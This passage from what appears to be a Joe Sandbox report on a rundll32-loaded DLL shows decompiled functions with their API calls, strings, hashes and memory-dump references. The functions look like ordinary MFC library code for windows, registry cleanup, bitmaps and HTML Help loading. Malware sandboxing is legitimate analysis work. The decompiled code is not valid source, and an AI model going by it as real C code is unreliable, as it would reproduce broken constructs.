					_v12 = 0x100;
					_t201 = _t201 | E10010087(0x400, _t190, _t201, __eflags,  &_v16, 0x20000);
					__eflags = _t201;
				}
				__eflags = _a4 & 0x00040000;
				if(__eflags != 0) {
					_v12 = 0x8000;
					_t201 = _t201 | E10010087(0x400, _t190, _t201, __eflags,  &_v16, 0x40000);
					__eflags = _t201;
				}
				_t191 = _v8;
				 *(_t191 + 0x18) =  *(_t191 + 0x18) | _t201;
				_t139 =  *(_t191 + 0x18);
				__eflags = (_t139 & 0x00003fc0) - 0x3fc0;
				if((_t139 & 0x00003fc0) == 0x3fc0) {
					 *(_t191 + 0x18) = _t139 | 0x00000010;
					_t201 = _t201 | 0x00000010;
					__eflags = _t201;
				}
				asm("sbb eax, eax");
				_t144 =  ~((_t201 & _a4) - _a4) + 1;
				__eflags = _t144;
				return _t144;
			}

APIs

_memset.LIBCMT ref: 10012434

Strings

@, xrefs: 10012540
AfxFrameOrView80s, xrefs: 100124FA
AfxMDIFrame80s, xrefs: 100124D5
@, xrefs: 100125D9

Memory Dump Source

Source File: 00000007.00000002.291204610.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.291200569.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291226229.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291234490.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000007.00000002.291275325.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291282758.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291287359.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_rundll32.jbxd

Similarity

API ID: _memset
String ID: @$@$AfxFrameOrView80s$AfxMDIFrame80s
API String ID: 2102423945-4122032997
Opcode ID: 6a965a47b8202c06a0f9d29b019c3ce5b36ca544f607173cb73e005fb23cc034
Instruction ID: 475a3f3acc0ffbf0912b6f4f501dab117ae518df3bc7e116c44220daacf7d2ae
Opcode Fuzzy Hash: 6a965a47b8202c06a0f9d29b019c3ce5b36ca544f607173cb73e005fb23cc034
Instruction Fuzzy Hash: 658130B5D00259AADB41CFA4C581BDEBBF8FF08384F118165F949EA181E774DAD4CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 100017E0, Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 134windowCOMMON

Download Yara Rule

APIs

Part of subcall function 1000C4C7: _memset.LIBCMT ref: 1000C4DE

_strlen.LIBCMT ref: 100018FF
_strlen.LIBCMT ref: 10001971
_strlen.LIBCMT ref: 100019B6
LoadIconA.USER32 ref: 100019FD

Strings

127.0.0.1, xrefs: 100018E8, 100018FA, 1000190E

Memory Dump Source

Source File: 00000007.00000002.291204610.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.291200569.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291226229.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291234490.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000007.00000002.291275325.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291282758.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291287359.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_rundll32.jbxd

Similarity

API ID: _strlen$IconLoad_memset
String ID: 127.0.0.1
API String ID: 858515944-3619153832
Opcode ID: e9afa9abf4479f427d282929ffcd92459c0614fc8bef9fc4e3152ff44be5b39a
Instruction ID: 391a885bd144bb184e99009df4bcd3f8a2a5cd6933164126564d3f2e09fb5126
Opcode Fuzzy Hash: e9afa9abf4479f427d282929ffcd92459c0614fc8bef9fc4e3152ff44be5b39a
Instruction Fuzzy Hash: 835106B4D04298DBEB14CFA4D891B9DBBB1EF44344F1081A9E50D6B386DB356E44CF60

Uniqueness

Uniqueness Score: -1.00%

Function 1001486F, Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 126
stringCOMMON

Download Yara Rule

C-Code - Quality: 88%

			E1001486F(void* __ebx, void** __ecx, void* __edx, void* __esi, char* _a4, short _a8) {
				signed int _v8;
				short _v72;
				char* _v76;
				signed int _v80;
				signed int* _v84;
				signed int _v88;
				intOrPtr _v92;
				void* __edi;
				void* __ebp;
				signed int _t54;
				void* _t66;
				short* _t70;
				signed int _t72;
				signed int _t81;
				signed int* _t83;
				short* _t84;
				void* _t91;
				signed int* _t98;
				signed int _t99;
				void** _t100;
				intOrPtr _t102;
				signed int _t104;
				signed int _t106;
				void* _t107;

				_t101 = __esi;
				_t97 = __edx;
				_t82 = __ebx;
				_t54 =  *0x10057a08; // 0xfd220812
				_v8 = _t54 ^ _t106;
				_t100 = __ecx;
				_v76 = _a4;
				if(__ecx[1] != 0) {
					_push(__ebx);
					_push(__esi);
					_t83 = GlobalLock( *__ecx);
					_v84 = _t83;
					_v88 = 0 | _t83[0] == 0x0000ffff;
					_v80 = E100146B2(_t83);
					_t102 = (0 | _v88 != 0x00000000) + (0 | _v88 != 0x00000000) + 1 + (0 | _v88 != 0x00000000) + (0 | _v88 != 0x00000000) + 1;
					_v92 = _t102;
					if(_v88 == 0) {
						 *_t83 =  *_t83 | 0x00000040;
					} else {
						_t83[3] = _t83[3] | 0x00000040;
					}
					if(lstrlenA(_v76) >= 0x20) {
						L15:
						_t66 = 0;
					} else {
						_t97 = _t102 + MultiByteToWideChar(0, 0, _v76, 0xffffffff,  &_v72, 0x20) * 2;
						_v76 = _t97;
						if(_t97 < _t102) {
							goto L15;
						} else {
							_t70 = E100146DD(_t83);
							_t91 = 0;
							_t84 = _t70;
							if(_v80 != 0) {
								_t81 = E100169F6(_t84 + _t102);
								_t97 = _v76;
								_t91 = _t102 + 2 + _t81 * 2;
							}
							_t33 = _t97 + 3; // 0x3
							_t98 = _v84;
							_t36 = _t84 + 3; // 0x10002
							_t72 = _t91 + _t36 & 0xfffffffc;
							_t104 = _t84 + _t33 & 0xfffffffc;
							_v80 = _t72;
							if(_v88 == 0) {
								_t99 =  *(_t98 + 8) & 0x0000ffff;
							} else {
								_t99 =  *(_t98 + 0x10) & 0x0000ffff;
							}
							if(_v76 == _t91 || _t99 <= 0) {
								L17:
								 *_t84 = _a8;
								_t97 =  &_v72;
								E100147F2(_t84 + _v92, _t100, _t104, _t106, _t84 + _v92, _v76 - _v92,  &_v72, _v76 - _v92);
								_t100[1] = _t100[1] + _t104 - _v80;
								GlobalUnlock( *_t100);
								_t100[2] = _t100[2] & 0x00000000;
								_t66 = 1;
							} else {
								_t97 = _t100[1];
								_t95 = _t97 - _t72 + _v84;
								if(_t97 - _t72 + _v84 <= _t97) {
									E100147F2(_t84, _t100, _t104, _t106, _t104, _t95, _t72, _t95);
									_t107 = _t107 + 0x10;
									goto L17;
								} else {
									goto L15;
								}
							}
						}
					}
					_pop(_t101);
					_pop(_t82);
				} else {
					_t66 = 0;
				}
				return E100167D5(_t66, _t82, _v8 ^ _t106, _t97, _t100, _t101);
			}

APIs

GlobalLock.KERNEL32 ref: 10014899
lstrlenA.KERNEL32(?), ref: 100148E1
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000020), ref: 100148FB

Strings

System, xrefs: 10014895

Memory Dump Source

Source File: 00000007.00000002.291204610.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.291200569.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291226229.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291234490.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000007.00000002.291275325.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291282758.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291287359.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_rundll32.jbxd

Similarity

API ID: ByteCharGlobalLockMultiWidelstrlen
String ID: System
API String ID: 1529587224-3470857405
Opcode ID: 5539861cf9964bd4a1f8d2b85f820bea2489ddcf645bd320d082abb330923d9c
Instruction ID: 74ffa1d7f554f06ed3380e5a1b3eb1278af2c0b09513685a0b874fafc39ddc5e
Opcode Fuzzy Hash: 5539861cf9964bd4a1f8d2b85f820bea2489ddcf645bd320d082abb330923d9c
Instruction Fuzzy Hash: FA41B271D00225DFDB04DFA4C885AAEBBB5FF04354F268129E411EF195EB70E986CB90

Uniqueness

Uniqueness Score: -1.00%

Function 1000B3AF, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 92
windowCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E1000B3AF(void* __edx, signed int _a116, char _a120) {
				void _v12;
				char _v16;
				signed int _v20;
				int _v24;
				char _v124;
				char _v172;
				intOrPtr _v184;
				int __ebx;
				signed int __edi;
				signed int __esi;
				signed int __ebp;
				signed int _t26;
				unsigned int _t28;
				intOrPtr _t35;
				unsigned int _t39;
				intOrPtr _t40;
				void* _t42;
				void* _t43;
				signed int _t45;

				_t45 =  &_v124;
				_t26 =  *0x10057a08; // 0xfd220812
				_a116 = _t26 ^ _t45;
				_push(_t43);
				_push(_t42);
				_t28 = GetMenuCheckMarkDimensions();
				_t38 = _t28;
				_t39 = _t28 >> 0x10;
				_v24 = _t39;
				if(_t28 <= 4 || __ecx <= 5) {
					_push(_t45);
					_push(_t39);
					_v172 = 0x10057298;
					E10017C83( &_v172, 0x1002e2fc);
					asm("int3");
					_push(4);
					E10017BC1(E10027DEC, _t38, _t42, _t43);
					_t40 = E10013965(0x104);
					_v184 = _t40;
					_t35 = 0;
					_v172 = 0;
					if(_t40 != 0) {
						_t35 = E1000CF71(_t40);
					}
					return E10017C60(_t35);
				} else {
					if(__ebx > 0x20) {
						__ebx = 0x20;
					}
					__eax = __ebx - 4;
					asm("cdq");
					__eax = __ebx - 4 - __edx;
					__esi = __ebx + 0xf;
					__esi = __ebx + 0xf >> 4;
					__ebx - 4 - __edx = __ebx - 4 - __edx >> 1;
					__esi = __esi << 4;
					__edi = (__ebx - 4 - __edx >> 1) + (__esi << 4);
					__edi = (__ebx - 4 - __edx >> 1) + (__esi << 4) - __ebx;
					if(__edi > 0xc) {
						__edi = 0xc;
					}
					__eax = 0x20;
					if(__ecx > __eax) {
						_v24 = __eax;
					}
					 &_v12 = E100174D0(__edi,  &_v12, 0xff, 0x80);
					_v24 = _v24 + 0xfffffffa;
					_v24 + 0xfffffffa >> 1 = (_v24 + 0xfffffffa >> 1) * __esi;
					__ecx = __esi + __esi;
					__eax = __ebp + (_v24 + 0xfffffffa >> 1) * __esi * 2 - 0xc;
					__edx = 0x1002a144;
					_v20 = __esi + __esi;
					_v16 = 5;
					do {
						__si =  *__edx & 0x000000ff;
						__ecx = __edi;
						__si = ( *__edx & 0x000000ff) << __cl;
						__edx =  &(__edx[1]);
						__ecx = __si & 0x0000ffff;
						__eax->i = __ch;
						__eax->i = __cl;
						__eax = __eax + _v20;
						_t21 =  &_v16;
						 *_t21 = _v16 - 1;
					} while ( *_t21 != 0);
					__eax =  &_v12;
					__eax = CreateBitmap(__ebx, _v24, 1, 1,  &_v12);
					_pop(__edi);
					_pop(__esi);
					 *0x1005aa80 = __eax;
					_pop(__ebx);
					if(__eax == 0) {
						__eax = LoadBitmapA(__eax, 0x7fe3);
						 *0x1005aa80 = __eax;
					}
					__ecx = _a116;
					__ecx = _a116 ^ __ebp;
					__eax = E100167D5(__eax, __ebx, _a116 ^ __ebp, __edx, __edi, __esi);
					__ebp =  &_a120;
					__esp =  &_a120;
					_pop(__ebp);
					return __eax;
				}
			}

APIs

GetMenuCheckMarkDimensions.USER32 ref: 1000B3C7
_memset.LIBCMT ref: 1000B429
CreateBitmap.GDI32(?,?,00000001,00000001,?), ref: 1000B47B
LoadBitmapA.USER32 ref: 1000B493

Strings

, xrefs: 1000B3E8

Memory Dump Source

Source File: 00000007.00000002.291204610.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.291200569.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291226229.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291234490.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000007.00000002.291275325.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291282758.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291287359.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_rundll32.jbxd

Similarity

API ID: Bitmap$CheckCreateDimensionsLoadMarkMenu_memset
String ID:
API String ID: 4271682439-3916222277
Opcode ID: b2a79c12d357676e4b0d2bf410ff4187b19c80d36ed6dad2827428fa924ab4b7
Instruction ID: 72b3b778e8896de6b9c4d2b5d37ea691cdfdc38a5381d0430ce67680fa501abd
Opcode Fuzzy Hash: b2a79c12d357676e4b0d2bf410ff4187b19c80d36ed6dad2827428fa924ab4b7
Instruction Fuzzy Hash: 5931F572A0065A9FFB10CF78CCC6AAE7BB5EB44384F25052AE506EB1C5D730EA45C750

Uniqueness

Uniqueness Score: -1.00%

Function 1000D86F, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 64
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E1000D86F(void* __edi, intOrPtr _a4, intOrPtr* _a8) {
				void _v20;
				int _t14;
				int _t18;
				intOrPtr* _t23;
				void* _t25;

				if(E1000D6C3() == 0) {
					if(_a4 != 0x12340042) {
						L9:
						_t14 = 0;
						L10:
						return _t14;
					}
					_t23 = _a8;
					if(_t23 == 0 ||  *_t23 < 0x28 || SystemParametersInfoA(0x30, 0,  &_v20, 0) == 0) {
						goto L9;
					} else {
						 *((intOrPtr*)(_t23 + 4)) = 0;
						 *((intOrPtr*)(_t23 + 8)) = 0;
						 *((intOrPtr*)(_t23 + 0xc)) = GetSystemMetrics(0);
						_t18 = GetSystemMetrics(1);
						asm("movsd");
						asm("movsd");
						asm("movsd");
						asm("movsd");
						 *(_t23 + 0x10) = _t18;
						 *((intOrPtr*)(_t23 + 0x24)) = 1;
						if( *_t23 >= 0x48) {
							E100199D4(_t25, _t23 + 0x28, 0x20, "DISPLAY", 0x1f);
						}
						_t14 = 1;
						goto L10;
					}
				}
				return  *0x1005a760(_a4, _a8);
			}

APIs

SystemParametersInfoA.USER32(00000030,00000000,00000000,00000000), ref: 1000D8AD
GetSystemMetrics.USER32 ref: 1000D8C5
GetSystemMetrics.USER32 ref: 1000D8CC

Strings

DISPLAY, xrefs: 1000D8E9
B, xrefs: 1000D88C

Memory Dump Source

Source File: 00000007.00000002.291204610.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.291200569.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291226229.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291234490.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000007.00000002.291275325.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291282758.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291287359.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_rundll32.jbxd

Similarity

API ID: System$Metrics$InfoParameters
String ID: B$DISPLAY
API String ID: 3136151823-3316187204
Opcode ID: 8876a3cbcd016a78351f26f5d05056f9f81063dbdc410b1432d22438e2067453
Instruction ID: 9954a119ce47e65a3950f6e4b3e830268b9633322f26d87d987c4675ad6ec402
Opcode Fuzzy Hash: 8876a3cbcd016a78351f26f5d05056f9f81063dbdc410b1432d22438e2067453
Instruction Fuzzy Hash: 7C118F71600328ABEB11EF649C84B9F7EA8EF057D0B108066FD09AA14AD6719951CBF0

Uniqueness

Uniqueness Score: -1.00%

Function 1000C570, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 57
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E1000C570(void* __ebx, void* __ecx, void* __edx, void* __eflags, struct HWND__** _a4) {
				void* __edi;
				struct HWND__* _t10;
				struct HWND__* _t12;
				struct HWND__* _t14;
				struct HWND__* _t15;
				int _t19;
				void* _t21;
				void* _t25;
				struct HWND__** _t26;
				void* _t27;

				_t25 = __edx;
				_t21 = __ebx;
				_t26 = _a4;
				_t27 = __ecx;
				if(E1000DFD6(__ecx, __eflags, _t26) == 0) {
					_t10 = E1001040B(__ecx);
					__eflags = _t10;
					if(_t10 == 0) {
						L5:
						__eflags = _t26[1] - 0x100;
						if(_t26[1] != 0x100) {
							L13:
							return E1000E426(_t26);
						}
						_t12 = _t26[2];
						__eflags = _t12 - 0x1b;
						if(_t12 == 0x1b) {
							L8:
							__eflags = GetWindowLongA( *_t26, 0xfffffff0) & 0x00000004;
							if(__eflags == 0) {
								goto L13;
							}
							_t14 = E100140D6(_t21, _t25, _t26, __eflags,  *_t26, "Edit");
							__eflags = _t14;
							if(_t14 == 0) {
								goto L13;
							}
							_t15 = GetDlgItem( *(_t27 + 0x20), 2);
							__eflags = _t15;
							if(_t15 == 0) {
								L12:
								SendMessageA( *(_t27 + 0x20), 0x111, 2, 0);
								goto L1;
							}
							_t19 = IsWindowEnabled(_t15);
							__eflags = _t19;
							if(_t19 == 0) {
								goto L13;
							}
							goto L12;
						}
						__eflags = _t12 - 3;
						if(_t12 != 3) {
							goto L13;
						}
						goto L8;
					}
					__eflags =  *(_t10 + 0x68);
					if( *(_t10 + 0x68) == 0) {
						goto L5;
					}
					return 0;
				}
				L1:
				return 1;
			}

Strings

Edit, xrefs: 1000C5C0

Memory Dump Source

Source File: 00000007.00000002.291204610.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.291200569.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291226229.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291234490.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000007.00000002.291275325.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291282758.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291287359.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_rundll32.jbxd

Similarity

API ID:
String ID: Edit
API String ID: 0-554135844
Opcode ID: 69ab62d90964fea0973c829bc4d4e68af8609d85649b9a8f255ba6de021e82f1
Instruction ID: c36f5ccd8b34139a66e87801a9a5321a409f351d494de0105f07b228c10d2adb
Opcode Fuzzy Hash: 69ab62d90964fea0973c829bc4d4e68af8609d85649b9a8f255ba6de021e82f1
Instruction Fuzzy Hash: F4015E3820070AA7FA65DB258D45F5AB6E5EF056D2F214429F942F10B8CFB0FD91D560

Uniqueness

Uniqueness Score: -1.00%

Function 1000BC89, Relevance: 7.6, APIs: 5, Instructions: 75
registryCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E1000BC89(signed int __ebx, void* __edi, void* __esi, void* __eflags) {
				void* __ebp;
				signed int _t25;
				signed int _t30;
				void* _t32;
				signed int _t34;
				signed int _t42;
				void* _t43;
				void* _t44;
				char** _t54;
				void* _t55;
				void* _t58;
				char* _t59;
				void* _t61;

				_t42 = __ebx;
				_t59 = _t61 - 0x104;
				_t25 =  *0x10057a08; // 0xfd220812
				_t59[0x108] = _t25 ^ _t59;
				_push(0x18);
				E10017BF4(E10027F23, __ebx, __edi, __esi);
				_t54 = _t59[0x118];
				_t44 = _t59[0x114];
				_t52 = _t59 - 0x18;
				 *(_t59 - 0x20) = _t44;
				 *(_t59 - 0x1c) = _t54;
				_t30 = RegOpenKeyA(_t44,  *_t54, _t59 - 0x18);
				_t57 = _t30;
				if(_t30 == 0) {
					while(1) {
						_t34 = RegEnumKeyA( *(_t59 - 0x18), 0, _t59, 0x104);
						_t57 = _t34;
						_t66 = _t57;
						if(_t57 != 0) {
							break;
						}
						 *(_t59 - 4) =  *(_t59 - 4) & _t34;
						_push(_t59);
						E10009FA3(_t42, _t59 - 0x14, _t54, _t57, _t66);
						 *(_t59 - 4) = 1;
						_t57 = E1000BC89(_t42, _t54, _t57, _t66,  *(_t59 - 0x18), _t59 - 0x14);
						_t42 = _t42 & 0xffffff00 | _t57 != 0x00000000;
						 *(_t59 - 4) = 0;
						E10009CB7( *((intOrPtr*)(_t59 - 0x14)) + 0xfffffff0, _t52);
						if(_t42 == 0) {
							 *(_t59 - 4) =  *(_t59 - 4) | 0xffffffff;
							continue;
						}
						break;
					}
					__eflags = _t57 - 0x103;
					if(_t57 == 0x103) {
						L6:
						_t57 = RegDeleteKeyA( *(_t59 - 0x20),  *_t54);
					} else {
						__eflags = _t57 - 0x3f2;
						if(_t57 == 0x3f2) {
							goto L6;
						}
					}
					RegCloseKey( *(_t59 - 0x18));
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t59 - 0xc));
				_pop(_t55);
				_pop(_t58);
				_pop(_t43);
				_t32 = E100167D5(_t57, _t43, _t59[0x108] ^ _t59, _t52, _t55, _t58);
				__eflags =  &(_t59[0x10c]);
				return _t32;
			}

APIs

__EH_prolog3_catch.LIBCMT ref: 1000BCA8
RegOpenKeyA.ADVAPI32(?,00000000,?), ref: 1000BCC7
RegEnumKeyA.ADVAPI32(?,00000000,00000000,00000104), ref: 1000BCE5
RegDeleteKeyA.ADVAPI32(?,?), ref: 1000BD60
RegCloseKey.ADVAPI32(?), ref: 1000BD6B

Part of subcall function 10009FA3: __EH_prolog3.LIBCMT ref: 10009FAA

Memory Dump Source

Source File: 00000007.00000002.291204610.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.291200569.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291226229.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291234490.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000007.00000002.291275325.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291282758.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291287359.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_rundll32.jbxd

Similarity

API ID: CloseDeleteEnumH_prolog3H_prolog3_catchOpen
String ID:
API String ID: 301487041-0
Opcode ID: 39e7eb00d6dc938df27b9e03ef33bae49a28eb95fe07434f2e98046a2569245b
Instruction ID: 653bf45c983c6aa9a2c45ec2c29e65d920d70d1e6a7a13c67c9db93679124605
Opcode Fuzzy Hash: 39e7eb00d6dc938df27b9e03ef33bae49a28eb95fe07434f2e98046a2569245b
Instruction Fuzzy Hash: 0921A075D0465A9FEB21DF94CC81AEDB7B0FF04390F104126ED55A7290EB705E44DB90

Uniqueness

Uniqueness Score: -1.00%

Function 10013F9E, Relevance: 7.6, APIs: 5, Instructions: 53
stringCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E10013F9E(void* __ecx, intOrPtr __edx, struct HWND__* _a4, CHAR* _a8) {
				signed int _v8;
				char _v263;
				char _v264;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t9;
				struct HWND__* _t21;
				void* _t22;
				intOrPtr _t25;
				void* _t26;
				int _t27;
				CHAR* _t28;
				signed int _t29;

				_t25 = __edx;
				_t22 = __ecx;
				_t9 =  *0x10057a08; // 0xfd220812
				_v8 = _t9 ^ _t29;
				_t21 = _a4;
				_t32 = _t21;
				_t28 = _a8;
				if(_t21 == 0) {
					L1:
					E1000A0DB(_t21, _t22, _t26, _t28, _t32);
				}
				if(_t28 == 0) {
					goto L1;
				}
				_t27 = lstrlenA(_t28);
				_v264 = 0;
				E100174D0(_t27,  &_v263, 0, 0xff);
				if(_t27 > 0x100 || GetWindowTextA(_t21,  &_v264, 0x100) != _t27 || lstrcmpA( &_v264, _t28) != 0) {
					_t16 = SetWindowTextA(_t21, _t28);
				}
				return E100167D5(_t16, _t21, _v8 ^ _t29, _t25, _t27, _t28);
			}

APIs

lstrlenA.KERNEL32(?,?,00000000), ref: 10013FC8
_memset.LIBCMT ref: 10013FE5
GetWindowTextA.USER32 ref: 10013FFF
lstrcmpA.KERNEL32(00000000,?), ref: 10014011
SetWindowTextA.USER32(?,?), ref: 1001401D

Part of subcall function 1000A0DB: __CxxThrowException@8.LIBCMT ref: 1000A0EF
Part of subcall function 1000A0DB: __EH_prolog3.LIBCMT ref: 1000A0FC

Memory Dump Source

Source File: 00000007.00000002.291204610.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.291200569.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291226229.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291234490.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000007.00000002.291275325.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291282758.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291287359.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_rundll32.jbxd

Similarity

API ID: TextWindow$Exception@8H_prolog3Throw_memsetlstrcmplstrlen
String ID:
API String ID: 4273134663-0
Opcode ID: 2b79ff425e09df3a26b2ab50ef16ba7c17b80cb00167e4224560e412a4786cd9
Instruction ID: fa7108181993de9b8ea87dd6eaa7291c2451852d429ff63cadea9d36e3b3e8b2
Opcode Fuzzy Hash: 2b79ff425e09df3a26b2ab50ef16ba7c17b80cb00167e4224560e412a4786cd9
Instruction Fuzzy Hash: 3901C0B6A00228ABE711DB65DCC4FDF77ACEF18790F110065EA45D7141DA70DE848BA0

Uniqueness

Uniqueness Score: -1.00%

Function 10010C0F, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 39
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 90%

			E10010C0F(void* __ebx, void* __edi, void* __ebp, void* __eflags, intOrPtr _a4, intOrPtr _a8) {
				intOrPtr _v0;
				intOrPtr _v4;
				void* __esi;
				struct HINSTANCE__* _t16;
				_Unknown_base(*)()* _t17;
				void* _t25;
				void* _t26;
				void* _t28;

				_t28 = __eflags;
				_t24 = __edi;
				_t21 = __ebx;
				E1001431B(__ebx, _t25, __ebp, 0xc);
				_push(E100100DE);
				_t26 = E100139F5(__ebx, 0x1005a8e0, __edi, _t25, _t28);
				_t29 = _t26;
				if(_t26 == 0) {
					E1000A0DB(_t21, 0x1005a8e0, __edi, _t26, _t29);
				}
				_t30 =  *(_t26 + 8);
				if( *(_t26 + 8) != 0) {
					L7:
					E10014388(0xc);
					return  *(_t26 + 8)(_v4, _v0, _a4, _a8);
				} else {
					_push("hhctrl.ocx");
					_t16 = E1000E725(_t21, 0x1005a8e0, _t24, _t26, _t30);
					 *(_t26 + 4) = _t16;
					if(_t16 != 0) {
						_t17 = GetProcAddress(_t16, "HtmlHelpA");
						__eflags = _t17;
						 *(_t26 + 8) = _t17;
						if(_t17 != 0) {
							goto L7;
						}
						FreeLibrary( *(_t26 + 4));
						 *(_t26 + 4) =  *(_t26 + 4) & 0x00000000;
					}
					return 0;
				}
			}

APIs

Part of subcall function 1001431B: EnterCriticalSection.KERNEL32(1005AC60,?,?,?,?,10013A10,00000010,00000008,1000D61A,1000D5BD,1000A0F5,1000B1E7,?,1000B878,00000004,1000ADCB), ref: 10014357
Part of subcall function 1001431B: InitializeCriticalSection.KERNEL32(?,?,?,?,?,10013A10,00000010,00000008,1000D61A,1000D5BD,1000A0F5,1000B1E7,?,1000B878,00000004,1000ADCB), ref: 10014366
Part of subcall function 1001431B: LeaveCriticalSection.KERNEL32(1005AC60,?,?,?,?,10013A10,00000010,00000008,1000D61A,1000D5BD,1000A0F5,1000B1E7,?,1000B878,00000004,1000ADCB), ref: 10014373
Part of subcall function 1001431B: EnterCriticalSection.KERNEL32(?,?,?,?,?,10013A10,00000010,00000008,1000D61A,1000D5BD,1000A0F5,1000B1E7,?,1000B878,00000004,1000ADCB), ref: 1001437F

Part of subcall function 100139F5: __EH_prolog3_catch.LIBCMT ref: 100139FC

Part of subcall function 1000A0DB: __CxxThrowException@8.LIBCMT ref: 1000A0EF
Part of subcall function 1000A0DB: __EH_prolog3.LIBCMT ref: 1000A0FC

GetProcAddress.KERNEL32(00000000,HtmlHelpA), ref: 10010C53
FreeLibrary.KERNEL32(?), ref: 10010C63

Strings

hhctrl.ocx, xrefs: 10010C37
HtmlHelpA, xrefs: 10010C4D

Memory Dump Source

Source File: 00000007.00000002.291204610.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.291200569.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291226229.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291234490.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000007.00000002.291275325.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291282758.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291287359.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_rundll32.jbxd

Similarity

API ID: CriticalSection$Enter$AddressException@8FreeH_prolog3H_prolog3_catchInitializeLeaveLibraryProcThrow
String ID: HtmlHelpA$hhctrl.ocx
API String ID: 2853499158-63838506
